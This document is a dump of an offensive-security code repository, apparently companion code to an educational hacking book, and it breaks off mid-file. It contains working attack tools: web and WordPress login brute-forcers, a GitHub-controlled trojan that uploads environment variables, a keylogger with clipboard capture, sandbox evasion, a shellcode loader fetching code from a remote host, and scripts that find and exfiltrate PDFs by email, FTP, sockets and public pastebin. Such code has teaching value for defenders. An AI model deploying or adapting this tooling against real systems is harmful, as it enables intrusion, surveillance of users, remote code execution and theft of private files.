-------------------------------------------------------------------------------- /05_web/bruter.py: -------------------------------------------------------------------------------- 1 | import queue 2 | import requests 3 | import sys 4 | import threading 5 | from pathlib import Path 6 | 7 | AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0" 8 | EXTENSIONS = [".php", ".bak", ".orig", ".inc"] 9 | TARGET = "http://testphp.vulnweb.com" 10 | THREADS = 5 11 | WORDLIST = Path(__file__).parent / "all.txt" 12 | 13 | 14 | def get_words(resume=None): 15 | def extend_words(word): 16 | if "." in word: 17 | words.put(f"/{word}") 18 | else: 19 | words.put(f"/{word}/") 20 | 21 | for extension in EXTENSIONS: 22 | words.put(f"/{word}{extension}") 23 | 24 | with WORDLIST.open() as f: 25 | raw_words = f.read() 26 | found_resume = False 27 | words = queue.Queue() 28 | for word in raw_words.split(): 29 | if resume is not None: 30 | if found_resume: 31 | extend_words(word) 32 | elif word == resume: 33 | found_resume = True 34 | print(f"Resuming wordlist from: {resume}") 35 | else: 36 | print(word) 37 | extend_words(word) 38 | return words 39 | 40 | 41 | def dir_bruter(words): 42 | headers = {"User-Agent": AGENT} 43 | while not words.empty(): 44 | url = f"{TARGET}{words.get()}" 45 | try: 46 | r = requests.get(url, headers=headers) 47 | except requests.exceptions.ConnectionError: 48 | sys.stderr.write("x") 49 | sys.stderr.flush() 50 | continue 51 | 52 | if r.status_code == 200: 53 | print(f"\nSuccess ({r.status_code}: {url})") 54 | elif r.status_code == 404: 55 | sys.stderr.write(".") 56 | sys.stderr.flush() 57 | else: 58 | print(f"{r.status_code} => {url}") 59 | 60 | 61 | if __name__ == "__main__": 62 | words = get_words() 63 | print("Press return to continue.") 64 | sys.stdin.readline() 65 | for _ in range(THREADS): 66 | t = threading.Thread(target=dir_bruter, args=(words,)) 67 | t.start() 68 | -------------------------------------------------------------------------------- /05_web/wp_killer.py: -------------------------------------------------------------------------------- 1 | # Requires lxml for xml parsing 2 | # pip install lxml 3 | from io import BytesIO 4 | from lxml import etree 5 | from queue import Queue 6 | 7 | import requests 8 | import threading 9 | import time 10 | from pathlib import Path 11 | 12 | SUCCESS = "Welcome to WordPress!" 13 | TARGET = "http://example.com/wordpress/wp-login.php" 14 | WORDLIST = Path(__file__).parent / "cain-and-abel.txt" 15 | USERNAME = "admin" 16 | 17 | 18 | def get_words(): 19 | with open(WORDLIST) as f: 20 | raw_words = f.read() 21 | 22 | words = Queue() 23 | for word in raw_words.split(): 24 | words.put(word) 25 | return words 26 | 27 | 28 | def get_params(content): 29 | params = dict() 30 | parser = etree.HTMLParser() 31 | tree = etree.parse(BytesIO(content), parser=parser) 32 | for elem in tree.findall("//input"): 33 | name = elem.get("name") 34 | if name is not None: 35 | params[name] = elem.get("value", None) 36 | return params 37 | 38 | 39 | class Bruter: 40 | def __init__(self, username, url): 41 | self.username = username 42 | self.url = url 43 | self.found = False 44 | print(f"\nBrute Force Attack beginning on {url}.\n") 45 | print(f"Finished the setup where username = {username}\n") 46 | 47 | def run_bruteforce(self, passwords): 48 | for _ in range(10): 49 | t = threading.Thread(target=self.web_bruter, args=(passwords,)) 50 | t.start() 51 | 52 | def web_bruter(self, passwords): 53 | session = requests.Session() 54 | resp0 = session.get(self.url) 55 | params = get_params(resp0.content) 56 | params["log"] = self.username 57 | 58 | while not passwords.empty() and not self.found: 59 | time.sleep(5) 60 | passwd = passwords.get() 61 | print(f"Trying username/password {self.username}/{passwd:<10}") 62 | params["pwd"] = passwd 63 | resp1 = session.post(self.url, data=params) 64 | 65 | if SUCCESS in resp1.content.decode(): 66 | self.found = True 67 | print(f"\nBruteforcing successful.") 68 | print(f"Username is {self.username}") 69 | print(f"Password is {passwd}\n") 70 | self.found = True 71 | 72 | 73 | if __name__ == "__main__": 74 | b = Bruter(USERNAME, TARGET) 75 | words = get_words() 76 | b.run_bruteforce(words) 77 | -------------------------------------------------------------------------------- /05_web/wp_mapper.py: -------------------------------------------------------------------------------- 1 | import contextlib 2 | import os 3 | import queue 4 | import requests 5 | import sys 6 | import threading 7 | import time 8 | 9 | FILTERS = [".jpg", ".gif", ".png", ".css"] 10 | TARGET = "http://example.com/wordpress" 11 | THREADS = 10 12 | 13 | answers = queue.Queue() 14 | web_paths = queue.Queue() 15 | 16 | 17 | def gather_paths(): 18 | for root, _, files in os.walk("."): 19 | for fname in files: 20 | if os.path.splitext(fname)[1] in FILTERS: 21 | continue 22 | path = os.path.join(root, fname) 23 | if path.startswith("."): 24 | path = path[1:] 25 | print(path) 26 | web_paths.put(path) 27 | 28 | 29 | @contextlib.contextmanager 30 | def chdir(path: str): 31 | """ 32 | On enter, change directory to specified path. 33 | On exit, change directory to original. 34 | """ 35 | this_dir = os.getcwd() 36 | os.chdir(path) 37 | try: 38 | yield 39 | finally: 40 | os.chdir(this_dir) 41 | 42 | 43 | def test_remote(): 44 | while not web_paths.empty(): 45 | path = web_paths.get() 46 | url = f"{TARGET}{path}" 47 | time.sleep(2) 48 | r = requests.get(url) 49 | if r.status_code == 200: 50 | answers.put(url) 51 | sys.stdout.write("+") 52 | else: 53 | sys.stdout.write("x") 54 | sys.stdout.flush() 55 | 56 | 57 | def run(): 58 | mythreads = list() 59 | for i in range(THREADS): 60 | print(f"Spawning thread {i}") 61 | t = threading.Thread(target=test_remote) 62 | mythreads.append(t) 63 | t.start() 64 | 65 | for thread in mythreads: 66 | thread.join() 67 | 68 | 69 | if __name__ == "__main__": 70 | LOCAL_WORDPRESS_DOWNLOAD = "Downloads/wordpress" 71 | with chdir(LOCAL_WORDPRESS_DOWNLOAD): 72 | gather_paths() 73 | input("Press return to continue.") 74 | run() 75 | with open("answers.txt", "w") as f: 76 | while not answers.empty(): 77 | f.write(f"{answers.get()}\n") 78 | print("done") 79 | -------------------------------------------------------------------------------- /06_githubtrojan/config.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "module": "dirlister" 4 | }, 5 | { 6 | "module": "environment" 7 | } 8 | ] -------------------------------------------------------------------------------- /06_githubtrojan/dirlister.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | 4 | def run(**args): 5 | """Retrieves any directories on the remote system.""" 6 | print("[*] In dirlister module.") 7 | files = os.listdir(".") 8 | return str(files) 9 | -------------------------------------------------------------------------------- /06_githubtrojan/environment.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | 4 | def run(**args): 5 | """Retrieves any environment variables on the remote system.""" 6 | print("[*] In environment module") 7 | return os.environ 8 | -------------------------------------------------------------------------------- /06_githubtrojan/github_trojan.py: -------------------------------------------------------------------------------- 1 | # Requires the github3 library to interact with github from python 2 | # pip install github3.py 3 | import base64 4 | import github3 5 | import importlib 6 | import json 7 | import random 8 | import sys 9 | import threading 10 | import time 11 | 12 | from datetime import datetime 13 | 14 | 15 | def github_connect(): 16 | # This could be a deploy key instead of a username/token 17 | with open("token.txt") as f: 18 | token = f.read() 19 | user = "lucasmelin" 20 | sess = github3.login(token=token) 21 | return sess.repository(user, "blackhat-python") 22 | 23 | 24 | def get_file_contents(dirname, module_name, repo): 25 | return repo.file_contents(f"{dirname}/{module_name}").content 26 | 27 | 28 | class GitImporter: 29 | """Importing a module from a GitHub repo.""" 30 | 31 | def __init__(self): 32 | self.current_module_code = "" 33 | 34 | def find_module(self, name, path=None): 35 | print(f"[*] Attempting to retrieve {name}") 36 | self.repo = github_connect() 37 | 38 | new_library = get_file_contents("modules", f"{name}.py", self.repo) 39 | if new_library is not None: 40 | self.current_module_code = base64.b64decode(new_library) 41 | return self 42 | 43 | def load_module(self, name): 44 | spec = importlib.util.spec_from_loader( 45 | name, loader=None, origin=self.repo.git_url 46 | ) 47 | new_module = importlib.util.module_from_spec(spec) 48 | exec(self.current_module_code, new_module.__dict__) 49 | sys.modules[spec.name] = new_module 50 | return new_module 51 | 52 | 53 | class Trojan: 54 | def __init__(self, id): 55 | self.id = id 56 | self.config_file = f"{id}.json" 57 | self.data_path = f"data/{id}/" 58 | self.repo = github_connect() 59 | 60 | def get_config(self): 61 | config_json = get_file_contents("config", self.config_file, self.repo) 62 | config = json.loads(base64.b64decode(config_json)) 63 | 64 | for task in config: 65 | if task["module"] not in sys.modules: 66 | exec("import %s" % task["module"]) 67 | return config 68 | 69 | def module_runner(self, module): 70 | """Run some command and store the result on GitHub""" 71 | result = sys.modules[module].run() 72 | self.store_module_result(result) 73 | 74 | def store_module_result(self, data): 75 | """Push collected data on the target to GitHub.""" 76 | message = datetime.now().isoformat() 77 | remote_path = f"data/{self.id}/{message}.data" 78 | bindata = bytes("%r" % data, "utf-8") 79 | self.repo.create_file(remote_path, message, base64.b64encode(bindata)) 80 | 81 | def run(self): 82 | while True: 83 | config = self.get_config() 84 | for task in config: 85 | thread = threading.Thread( 86 | target=self.module_runner, args=(task["module"],) 87 | ) 88 | thread.start() 89 | time.sleep(random.randint(1, 10)) 90 | 91 | time.sleep(random.randint(30 * 60, 3 * 60 * 60)) 92 | 93 | 94 | if __name__ == "__main__": 95 | # http://xion.org.pl/2012/05/06/hacking-python-imports/ 96 | sys.meta_path.append(GitImporter()) 97 | TROJAN_ID = "abc" 98 | trojan = Trojan(TROJAN_ID) 99 | trojan.run() 100 | -------------------------------------------------------------------------------- /07_windowstrojantasks/keylogger.py: -------------------------------------------------------------------------------- 1 | # pythoncom and win32clipboard are a part of pywin32 2 | # pip install pywin32 3 | # pyWinhook can be installed with pip install pyWinhook 4 | # and will require swig from http://www.swig.org/ to be on your PATH 5 | from ctypes import byref, create_string_buffer, c_ulong, windll 6 | from io import StringIO 7 | 8 | import os 9 | import pythoncom 10 | import pyWinhook as pyHook 11 | import sys 12 | import time 13 | import win32clipboard 14 | 15 | TIMEOUT = 60 * 10 16 | 17 | 18 | class KeyLogger: 19 | def __init__(self): 20 | self.current_window = None 21 | 22 | def get_current_process(self): 23 | hwnd = windll.user32.GetForegroundWindow() 24 | pid = c_ulong(0) 25 | windll.user32.GetWindowThreadProcessId(hwnd, byref(pid)) 26 | process_id = f"{pid.value}" 27 | 28 | executable = create_string_buffer(512) 29 | h_process = windll.kernel32.OpenProcess(0x400 | 0x10, False, pid) 30 | windll.psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512) 31 | 32 | window_title = create_string_buffer(512) 33 | windll.user32.GetWindowTextA(hwnd, byref(window_title), 512) 34 | try: 35 | self.current_window = window_title.value.decode() 36 | except UnicodeDecodeError as e: 37 | print(f"{e}: window name unknown") 38 | 39 | print("\n", process_id, executable.value.decode(), self.current_window) 40 | 41 | windll.kernel32.CloseHandle(hwnd) 42 | windll.kernel32.CloseHandle(h_process) 43 | 44 | def mykeystroke(self, event): 45 | if event.WindowName != self.current_window: 46 | self.get_current_process() 47 | if 32 < event.Ascii < 127: 48 | print(chr(event.Ascii), end="") 49 | else: 50 | if event.Key == "V": 51 | win32clipboard.OpenClipboard() 52 | value = win32clipboard.GetClipboardData() 53 | win32clipboard.CloseClipboard() 54 | print(f"[PASTE] - {value}") 55 | else: 56 | print(f"{event.Key}") 57 | return True 58 | 59 | 60 | def run(): 61 | save_stdout = sys.stdout 62 | sys.stdout = StringIO() 63 | 64 | kl = KeyLogger() 65 | hm = pyHook.HookManager() 66 | hm.KeyDown = kl.mykeystroke 67 | hm.HookKeyboard() 68 | while time.thread_time() < TIMEOUT: 69 | pythoncom.PumpWaitingMessages() 70 | 71 | log = sys.stdout.getvalue() 72 | sys.stdout = save_stdout 73 | return log 74 | 75 | 76 | if __name__ == "__main__": 77 | print(run()) 78 | print("done.") 79 | 80 | 81 | from ctypes import * 82 | import pythoncom 83 | import pyHook 84 | import win32clipboard 85 | 86 | user32 = windll.user32 87 | kernel32 = windll.kernel32 88 | psapi = windll.psapi 89 | current_window = None 90 | 91 | 92 | def get_current_process(): 93 | # get a handle to the foreground window 94 | hwnd = user32.GetForegroundWindow() 95 | 96 | # find the process ID 97 | pid = c_ulong(0) 98 | user32.GetWindowThreadProcessId(hwnd, byref(pid)) 99 | 100 | # store the current process ID 101 | process_id = "%d" % pid.value 102 | 103 | # grab the executable 104 | executable = create_string_buffer(b"\x00" * 512) 105 | h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) 106 | 107 | psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512) 108 | 109 | # now read it's title 110 | window_title = create_string_buffer(b"\x00" * 512) 111 | length = user32.GetWindowTextA(hwnd, byref(window_title), 512) 112 | 113 | # print out the header if we're in the right process 114 | print() 115 | print("[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)) 116 | print() 117 | 118 | # close handles 119 | kernel32.CloseHandle(hwnd) 120 | kernel32.CloseHandle(h_process) 121 | 122 | 123 | def KeyStroke(event): 124 | global current_window 125 | 126 | # check to see if target changed windows 127 | if event.WindowName != current_window: 128 | current_window = event.WindowName 129 | get_current_process() 130 | 131 | # if they pressed a standard key 132 | if 32 < event.Ascii < 127: 133 | print(chr(event.Ascii), end=" ") 134 | else: 135 | # if [Ctrl-V], get the value on the clipboard 136 | # added by Dan Frisch 2014 137 | if event.Key == "V": 138 | win32clipboard.OpenClipboard() 139 | pasted_value = win32clipboard.GetClipboardData() 140 | win32clipboard.CloseClipboard() 141 | print("[PASTE] - %s" % pasted_value, end=" ") 142 | else: 143 | print("[%s]" % event.Key, end=" ") 144 | 145 | # pass execution to next hook registered 146 | return True 147 | 148 | 149 | # create and register a hook manager 150 | kl = pyHook.HookManager() 151 | kl.KeyDown = KeyStroke 152 | 153 | # register the hook and execute forever 154 | kl.HookKeyboard() 155 | pythoncom.PumpMessages() 156 | -------------------------------------------------------------------------------- /07_windowstrojantasks/sandbox_detect.py: -------------------------------------------------------------------------------- 1 | # Requires pywin32 2 | # pip install pywin32 3 | from ctypes import byref, c_uint, c_ulong, sizeof, Structure, windll 4 | import random 5 | import sys 6 | import time 7 | import win32api 8 | 9 | 10 | class LASTINPUTINFO(Structure): 11 | _fields_ = [("cbSize", c_uint), ("dwTime", c_ulong)] 12 | 13 | 14 | def get_last_input(): 15 | struct_lastinputinfo = LASTINPUTINFO() 16 | struct_lastinputinfo.cbSize = sizeof(LASTINPUTINFO) 17 | windll.user32.GetLastInputInfo(byref(struct_lastinputinfo)) 18 | run_time = windll.kernel32.GetTickCount() 19 | elapsed = run_time - struct_lastinputinfo.dwTime 20 | print(f"[*] It's been {elapsed} milliseconds since the last input event.") 21 | return elapsed 22 | 23 | 24 | # Test code to see if our detection is working 25 | # while True: 26 | # get_last_input() 27 | # time.sleep(1) 28 | 29 | 30 | class Detector: 31 | def __init__(self): 32 | self.double_clicks = 0 33 | self.keystrokes = 0 34 | self.mouse_clicks = 0 35 | 36 | def get_key_press(self): 37 | for i in range(0, 0xFF): 38 | state = win32api.GetAsyncKeyState(i) 39 | if state & 0x0001: 40 | if i == 0x1: 41 | self.mouse_clicks += 1 42 | return time.time() 43 | elif i > 32 and i < 127: 44 | self.keystrokes += 1 45 | return None 46 | 47 | def detect(self): 48 | previous_timestamp = None 49 | first_double_click = None 50 | double_click_threshold = 0.35 51 | 52 | max_double_clicks = 10 53 | max_keystrokes = random.randint(10, 25) 54 | max_mouse_clicks = random.randint(5, 25) 55 | max_input_threshold = 30000 56 | 57 | last_input = get_last_input() 58 | if last_input >= max_input_threshold: 59 | sys.exit(0) 60 | 61 | detection_complete = False 62 | while not detection_complete: 63 | keypress_time = self.get_key_press() 64 | if keypress_time is not None and previous_timestamp is not None: 65 | elapsed = keypress_time - previous_timestamp 66 | 67 | if elapsed <= double_click_threshold: 68 | self.mouse_clicks -= 2 69 | self.double_clicks += 1 70 | if first_double_click is None: 71 | first_double_click = time.time() 72 | else: 73 | if self.double_clicks >= max_double_clicks: 74 | if keypress_time - first_double_click <= ( 75 | max_double_clicks * double_click_threshold 76 | ): 77 | sys.exit(0) 78 | if ( 79 | self.keystrokes >= max_keystrokes 80 | and self.double_clicks >= max_double_clicks 81 | and self.mouse_clicks >= max_mouse_clicks 82 | ): 83 | detection_complete = True 84 | 85 | previous_timestamp = keypress_time 86 | elif keypress_time is not None: 87 | previous_timestamp = keypress_time 88 | 89 | 90 | if __name__ == "__main__": 91 | d = Detector() 92 | d.detect() 93 | print("okay.") 94 | -------------------------------------------------------------------------------- /07_windowstrojantasks/screenshotter.py: -------------------------------------------------------------------------------- 1 | # Requires pywin32 2 | # pip install pywin32 3 | import win32api 4 | import win32con 5 | import win32gui 6 | import win32ui 7 | 8 | 9 | def get_dimensions(): 10 | width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) 11 | height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) 12 | left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) 13 | top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) 14 | return (width, height, left, top) 15 | 16 | 17 | def screenshot(name="screenshot"): 18 | # Get a handle for the entire desktop, including the viewable area across 19 | # multiple monitors. 20 | hdesktop = win32gui.GetDesktopWindow() 21 | width, height, left, top = get_dimensions() 22 | 23 | desktop_dc = win32gui.GetWindowDC(hdesktop) 24 | img_dc = win32ui.CreateDCFromHandle(desktop_dc) 25 | mem_dc = img_dc.CreateCompatibleDC() 26 | 27 | screenshot = win32ui.CreateBitmap() 28 | screenshot.CreateCompatibleBitmap(img_dc, width, height) 29 | mem_dc.SelectObject(screenshot) 30 | # Store a bit-for-bit copy on the desktop. 31 | mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY) 32 | screenshot.SaveBitmapFile(mem_dc, f"{name}.bmp") 33 | 34 | mem_dc.DeleteDC() 35 | win32gui.DeleteObject(screenshot.GetHandle()) 36 | 37 | 38 | def run(): 39 | screenshot() 40 | with open("screenshot.bmp") as f: 41 | img = f.read() 42 | return img 43 | 44 | 45 | if __name__ == "__main__": 46 | screenshot() 47 | -------------------------------------------------------------------------------- /07_windowstrojantasks/shell_exec.py: -------------------------------------------------------------------------------- 1 | from urllib import request 2 | 3 | import base64 4 | import ctypes 5 | 6 | 7 | kernel32 = ctypes.windll.kernel32 8 | 9 | 10 | def get_code(url): 11 | with request.urlopen(url) as response: 12 | shellcode = base64.decodebytes(response.read()) 13 | 14 | return shellcode 15 | 16 | 17 | def write_memory(buf): 18 | length = len(buf) 19 | 20 | kernel32.VirtualAlloc.restype = ctypes.c_void_p 21 | ptr = kernel32.VirtualAlloc(None, length, 0x3000, 0x40) 22 | 23 | kernel32.RtlMoveMemory.argtypes = ( 24 | ctypes.c_void_p, 25 | ctypes.c_void_p, 26 | ctypes.c_size_t, 27 | ) 28 | kernel32.RtlMoveMemory(ptr, buf, length) 29 | return ptr 30 | 31 | 32 | def run(shellcode): 33 | # Allocate memory for the shellcode 34 | buf = ctypes.create_string_buffer(shellcode) 35 | ptr = write_memory(buf) 36 | # Cast the buffer to act like a function pointer, so that we can call it 37 | shell_func = ctypes.cast(ptr, ctypes.CFUNCTYPE(None)) 38 | # Execute our shellcode 39 | shell_func() 40 | 41 | 42 | if __name__ == "__main__": 43 | url = "http://192.168.1.203:8000/32shellcode.bin" 44 | shellcode = get_code(url) 45 | run(shellcode) 46 | -------------------------------------------------------------------------------- /08_exfitration/cryptor.py: -------------------------------------------------------------------------------- 1 | # Requires PyCryptodome 2 | # pip install pycryptodomex 3 | from Cryptodome.Cipher import AES, PKCS1_OAEP 4 | from Cryptodome.PublicKey import RSA 5 | from Cryptodome.Random import get_random_bytes 6 | from io import BytesIO 7 | 8 | import base64 9 | import zlib 10 | 11 | 12 | def generate(): 13 | new_key = RSA.generate(2048) 14 | private_key = new_key.exportKey() 15 | public_key = new_key.publickey().exportKey() 16 | 17 | with open("key.pri", "wb") as f: 18 | f.write(private_key) 19 | 20 | with open("key.pub", "wb") as f: 21 | f.write(public_key) 22 | 23 | 24 | def get_rsa_cipher(keytype): 25 | with open(f"key.{keytype}") as f: 26 | key = f.read() 27 | rsakey = RSA.importKey(key) 28 | return (PKCS1_OAEP.new(rsakey), rsakey.size_in_bytes()) 29 | 30 | 31 | def encrypt(plaintext): 32 | compressed_text = zlib.compress(plaintext) 33 | 34 | session_key = get_random_bytes(16) 35 | cipher_aes = AES.new(session_key, AES.MODE_EAX) 36 | ciphertext, tag = cipher_aes.encrypt_and_digest(compressed_text) 37 | 38 | cipher_rsa, _ = get_rsa_cipher("pub") 39 | encrypted_session_key = cipher_rsa.encrypt(session_key) 40 | 41 | msg_payload = encrypted_session_key + cipher_aes.nonce + tag + ciphertext 42 | encrypted = base64.encodebytes(msg_payload) 43 | return encrypted 44 | 45 | 46 | def decrypt(encrypted): 47 | encrypted_bytes = BytesIO(base64.decodebytes(encrypted)) 48 | cipher_rsa, keysize_in_bytes = get_rsa_cipher("pri") 49 | 50 | encrypted_session_key = encrypted_bytes.read(keysize_in_bytes) 51 | nonce = encrypted_bytes.read(16) 52 | tag = encrypted_bytes.read(16) 53 | ciphertext = encrypted_bytes.read() 54 | 55 | session_key = cipher_rsa.decrypt(encrypted_session_key) 56 | cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce) 57 | decrypted = cipher_aes.decrypt_and_verify(ciphertext, tag) 58 | 59 | plaintext = zlib.decompress(decrypted) 60 | return plaintext 61 | 62 | 63 | if __name__ == "__main__": 64 | plaintext = b"This message is super secret." 65 | generate() 66 | print(decrypt(encrypt(plaintext))) 67 | assert plaintext == decrypt(encrypt(plaintext)) 68 | -------------------------------------------------------------------------------- /08_exfitration/email_exfil.py: -------------------------------------------------------------------------------- 1 | # Requires pywin32 to launch Outlook 2 | # pip install pywin32 3 | 4 | import smtplib 5 | import time 6 | import win32com.client 7 | 8 | smtp_server = "smtp.example.com" 9 | smtp_port = 587 10 | smtp_acct = "lucas@example.com" 11 | smtp_password = "secret" 12 | tgt_accts = ["lucasals@example.com"] 13 | 14 | 15 | def plain_email(subject, contents): 16 | message = f"Subject: {subject}\nFrom {smtp_acct}\n" 17 | message += f"To: {tgt_accts}\n\n{contents.decode()}" 18 | server = smtplib.SMTP(smtp_server, smtp_port) 19 | server.starttls() 20 | server.login(smtp_acct, smtp_password) 21 | 22 | # server.set_debuglevel(1) 23 | server.sendmail(smtp_acct, tgt_accts, message) 24 | time.sleep(1) 25 | server.quit() 26 | 27 | 28 | def outlook(subject, contents): 29 | outlook = win32com.client.Dispatch("Outlook.Application") 30 | message = outlook.CreateItem(0) 31 | message.DeleteAfterSubmit = True 32 | message.Subject = subject 33 | message.Body = contents.decode() 34 | message.To = "exfil@example.com" 35 | message.Send() 36 | 37 | 38 | if __name__ == "__main__": 39 | plain_email("test message", "Text to exfiltrate.") 40 | -------------------------------------------------------------------------------- /08_exfitration/exfil.py: -------------------------------------------------------------------------------- 1 | from cryptor import encrypt, decrypt 2 | from email_exfil import outlook, plain_email 3 | from transmit_exfil import plain_ftp, transmit 4 | from paste_exfil import ie_paste, plain_paste 5 | 6 | import os 7 | 8 | EXFIL = { 9 | "outlook": outlook, 10 | "plain_email": plain_email, 11 | "plain_ftp": plain_ftp, 12 | "transmit": transmit, 13 | "ie_paste": ie_paste, 14 | "plain_paste": plain_paste, 15 | } 16 | 17 | 18 | def find_docs(doc_type=".pdf"): 19 | for parent, _, filenames in os.walk("c:\\"): 20 | for filename in [x for x in filenames if x.endswith(doc_type)]: 21 | document_path = os.path.join(parent, filename) 22 | yield document_path 23 | 24 | 25 | def exfiltrate(document_path, method): 26 | if method in ["transmit", "plain_ftp"]: 27 | # File-based exfiltration 28 | filename = f"c:\\windows\\temp\\{os.path.basename(document_path)}" 29 | with open(document_path, "rb") as f0: 30 | contents = f0.read() 31 | with open(filename, "wb") as f1: 32 | f1.write(encrypt(contents)) 33 | 34 | EXFIL[method](filename) 35 | os.unlink(filename) 36 | else: 37 | # Content-based exfiltration 38 | with open(document_path, "rb") as f: 39 | contents = f.read() 40 | title = os.path.basename(document_path) 41 | contents = encrypt(contents) 42 | EXFIL[method](title, contents) 43 | 44 | 45 | if __name__ == "__main__": 46 | for fpath in find_docs(): 47 | exfiltrate(fpath, "plain_paste") 48 | -------------------------------------------------------------------------------- /08_exfitration/paste_exfil.py: -------------------------------------------------------------------------------- 1 | # Requires pywin32 to launch Internet Explorer 2 | # pip install pywin32 3 | 4 | from win32com import client 5 | 6 | import random 7 | import requests 8 | import time 9 | 10 | 11 | username = "lucas" 12 | password = "secret" 13 | api_dev_key = "cd3xxx001xxxx02" 14 | 15 | 16 | def plain_paste(title, contents): 17 | login_url = "https://pastebin.com/api/api_login.php" 18 | login_data = { 19 | "api_dev_key": api_dev_key, 20 | "api_user_name": username, 21 | "api_user_password": password, 22 | } 23 | r = requests.post(login_url, data=login_data) 24 | api_user_key = r.text 25 | 26 | paste_url = "https://pastebin.com/api/api_post.php" 27 | paste_data = { 28 | "api_paste_name": title, 29 | "api_paste_code": contents.decode(), 30 | "api_dev_key": api_dev_key, 31 | "api_user_key": api_user_key, 32 | "api_option": "paste", 33 | "api_paste_private": 0, 34 | } 35 | r = requests.post(paste_url, data=paste_data) 36 | print(r.status_code) 37 | print(r.text) 38 | 39 | 40 | def wait_for_browser(browser): 41 | while browser.ReadyState != 4 and browser.ReadyState != "complete": 42 | time.sleep(0.1) 43 | 44 | 45 | def random_sleep(): 46 | time.sleep(random.randint(5, 10)) 47 | 48 | 49 | def login(ie): 50 | full_doc = ie.Document.all 51 | for elem in full_doc: 52 | if elem.id == "loginform-username": 53 | elem.setAttribute("value", username) 54 | elif elem.id == "loginform-password": 55 | elem.setAttribute("value", password) 56 | 57 | random_sleep() 58 | if ie.Document.forms[0].id == "w0": 59 | ie.document.forms[0].submit() 60 | wait_for_browser(ie) 61 | 62 | 63 | def submit(ie, title, contents): 64 | full_doc = ie.Document.all 65 | for elem in full_doc: 66 | if elem.id == "postform-name": 67 | elem.setAttribute("value", title) 68 | 69 | elif elem.id == "postform-text": 70 | elem.setAttribute("value", contents) 71 | 72 | if ie.Document.forms[0].id == "w0": 73 | ie.document.forms[0].submit() 74 | random_sleep() 75 | wait_for_browser(ie) 76 | 77 | 78 | def ie_paste(title, contents): 79 | ie = client.Dispatch("InternetExplorer.Application") 80 | ie.Visible = 1 81 | 82 | ie.Navigate("https://pastebin.com/login") 83 | wait_for_browser(ie) 84 | login(ie) 85 | 86 | ie.Navigate("https://pastebin.com/") 87 | wait_for_browser(ie) 88 | submit(ie, title, contents.decode()) 89 | 90 | ie.Quit() 91 | 92 | 93 | if __name__ == "__main__": 94 | ie_paste("title", "contents") 95 | -------------------------------------------------------------------------------- /08_exfitration/transmit_exfil.py: -------------------------------------------------------------------------------- 1 | # Requires pywin32 to launch transfer file over FTP 2 | # pip install pywin32 3 | 4 | import ftplib 5 | import os 6 | import socket 7 | import win32file 8 | 9 | 10 | def plain_ftp(docpath, server="192.168.1.203"): 11 | ftp = ftplib.FTP(server) 12 | ftp.login("anonymous", "anon@example.com") 13 | ftp.cwd("/pub/") 14 | ftp.storbinary("STOR " + os.path.basename(docpath), open(docpath, "rb"), 1024) 15 | ftp.quit() 16 | 17 | 18 | def transmit(document_path): 19 | client = socket.socket() 20 | client.connect(("192.168.1.207", 10000)) 21 | with open(document_path, "rb") as f: 22 | win32file.TransmitFile( 23 | client, win32file._get_osfhandle(f.fileno()), 0, 0, None, 0, b"", b"" 24 | ) 25 | 26 | 27 | if __name__ == "__main__": 28 | transmit("./secrets.txt") 29 | -------------------------------------------------------------------------------- /09_privescalation/bhservice/bhservice.py: -------------------------------------------------------------------------------- 1 | # Requires pywin32 to create a service 2 | # pip install pywin32 3 | import os 4 | import servicemanager 5 | import shutil 6 | import subprocess 7 | import sys 8 | 9 | import win32event 10 | import win32service 11 | import win32serviceutil 12 | 13 | SRCDIR = "C:\\Users\\lucas\\desktop" 14 | TGTDIR = "C:\\Windows\\TEMP" 15 | 16 | 17 | class BHServerSvc(win32serviceutil.ServiceFramework): 18 | _svc_name_ = "BlackHatService" 19 | _svc_display_name_ = "Black Hat Service" 20 | _svc_description_ = ( 21 | "Executes VBScripts at regular intervals. What could possibly go wrong?" 22 | ) 23 | 24 | def __init__(self, args): 25 | self.vbs = os.path.join(TGTDIR, "bhservice_task.vbs") 26 | self.timeout = 1000 * 60 27 | 28 | win32serviceutil.ServiceFramework.__init__(self, args) 29 | self.hWaitStop = win32event.CreateEvent(None, 0, 0, None) 30 | 31 | def SvcStop(self): 32 | self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING) 33 | win32event.SetEvent(self.hWaitStop) 34 | 35 | def SvcDoRun(self): 36 | self.ReportServiceStatus(win32service.SERVICE_RUNNING) 37 | self.main() 38 | 39 | def main(self): 40 | while True: 41 | ret_code = win32event.WaitForSingleObject(self.hWaitStop, self.timeout) 42 | if ret_code == win32event.WAIT_OBJECT_0: 43 | servicemanager.LogInfoMsg("Service is stopping") 44 | break 45 | 46 | src = os.path.join(SRCDIR, "bhservice_task.vbs") 47 | shutil.copy(src, self.vbs) 48 | subprocess.call("cscript.exe %s" % self.vbs, shell=False) 49 | os.unlink(self.vbs) 50 | 51 | 52 | if __name__ == "__main__": 53 | if len(sys.argv) == 1: 54 | servicemanager.Initialize() 55 | servicemanager.PrepareToHostSingle(BHServerSvc) 56 | servicemanager.StartServiceCtrlDispatcher() 57 | else: 58 | win32serviceutil.HandleCommandLine(BHServerSvc) 59 | -------------------------------------------------------------------------------- /09_privescalation/bhservice/bhservice_task.vbs.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lucasmelin/blackhat-python/4b2b5a938ec4059aa40b9ca54e79dfb6180749e5/09_privescalation/bhservice/bhservice_task.vbs.txt -------------------------------------------------------------------------------- /09_privescalation/file_monitor.py: -------------------------------------------------------------------------------- 1 | # Requires pywin32 to monitor a directory 2 | # pip install pywin32 3 | # Modified example, original given here: 4 | # 